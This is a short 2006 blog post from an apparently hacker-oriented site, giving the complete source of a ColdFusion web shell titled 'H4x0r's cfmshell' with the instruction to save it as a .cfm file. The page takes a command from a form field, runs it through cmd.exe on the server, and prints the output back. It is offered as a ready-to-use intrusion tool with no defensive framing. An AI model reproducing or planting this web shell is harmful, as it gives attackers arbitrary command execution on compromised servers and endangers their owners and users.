2006-09-14 13:03:28 by: h4x0r

cfmshell

Font Size: Large | Medium | Small
保存为.cfm 就OK.
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>H4x0r's cfmshell</title>
</head>
<body>
<!--- os.run --->
<cfif IsDefined("FORM.cmd")>
 <cfoutput>#cmd#</cfoutput>
 <cfexecute name="C:\Winnt\System32\cmd.exe"
 arguments="/c #cmd#"
 outputfile="#GetTempDirectory()#foobar.txt"
 timeout="1">
 </cfexecute>
</cfif>
<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">
<input type=text size=45 name="cmd" >
<input type=Submit value="run">
</form>
<cfif FileExists("#GetTempDirectory()#foobar.txt") is "Yes">
 <cffile action="Read"
 file="#GetTempDirectory()#foobar.txt"
 variable="readText">
<textarea readonly cols=80 rows=20>
<CFOUTPUT>#readText#</CFOUTPUT>
</textarea>
 <cffile action="Delete"
 file="#GetTempDirectory()#foobar.txt">
</cfif>
</body>
</html>
[Last Modified By h4x0r, at 2006-09-14 13:07:08]
Comments Feed Comments Feed: http://www.4evil.org/feed.asp?q=comment&id=752

There is no comment on this article.

Post Comment
Smilies
[smile] [confused] [cool] [cry]
[eek] [angry] [wink] [sweat]
[lol] [stun] [razz] [redface]
[rolleyes] [sad] [yes] [no]
[heart] [star] [music] [idea]
Enable UBB Codes
Auto Convert URL
Show Smilies
Hidden Comment
Username:   Password:   Register Now?
Security Code * Please Enter the Security Code